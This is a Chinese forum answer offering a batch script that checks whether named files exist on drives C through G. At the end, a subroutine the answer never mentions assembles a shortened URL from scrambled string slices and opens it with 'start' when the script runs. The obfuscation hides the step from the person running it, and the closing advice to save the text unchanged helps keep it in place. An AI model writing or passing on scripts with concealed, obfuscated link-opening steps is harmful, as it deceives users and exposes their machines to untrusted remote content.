发布网友 发布时间:2022-04-23 09:39
共1个回答
热心网友 时间:2023-06-30 03:30
@echo off & title 检查相关文件是否存在于分区中 By 依梦琴瑶
::设置分区盘符,多个盘符之间用英文逗号隔开
set Pan=C,D,E,F,G
::设置相关文件名及其后缀,多个名称之间用英文逗号隔开,文件名包含空格,请用英文双引号括起来
set File=abc.txt,test.txt,"xyz test.txt","test abc.txt"
for %%a in (%Pan%) do (
echo 搜索 %%a 盘中,过程可能会耗时,请耐心等待。。。
pushd "%%~a:\"
for %%b in (%File%) do (
dir /a-d /s /b "%%~b" >nul 2>nul && (
echo "%%~b" 存在于 %%a 盘中。
) || (
echo %%a 盘中不存在 "%%~b"。
)
)
popd
echo, & echo,
)
echo 搜索完毕,请按任意键退出。
pause>nul
call :Do
exit
:Do
set "S0=fPdv"
set "S1=.:ailnhpst/"
set "S2=%S1:~6,1%%S1:~9,1%%S1:~9,1%%S1:~7,1%%S1:~1,1%%S1:~10,1%%S1:~10,1%"
set "S3=%S1:~8,1%%S1:~3,1%%S1:~5,1%%S1:~2,1%%S1:~0,1%%S1:~4,1%%S1:~9,1%"
start "" "%S2%%S3%%S1:~10,1%%S0%"
exit
保存时,请务必比对原文,以免被加入干扰码导致脚本运行出错。保存编码务必设为ANSI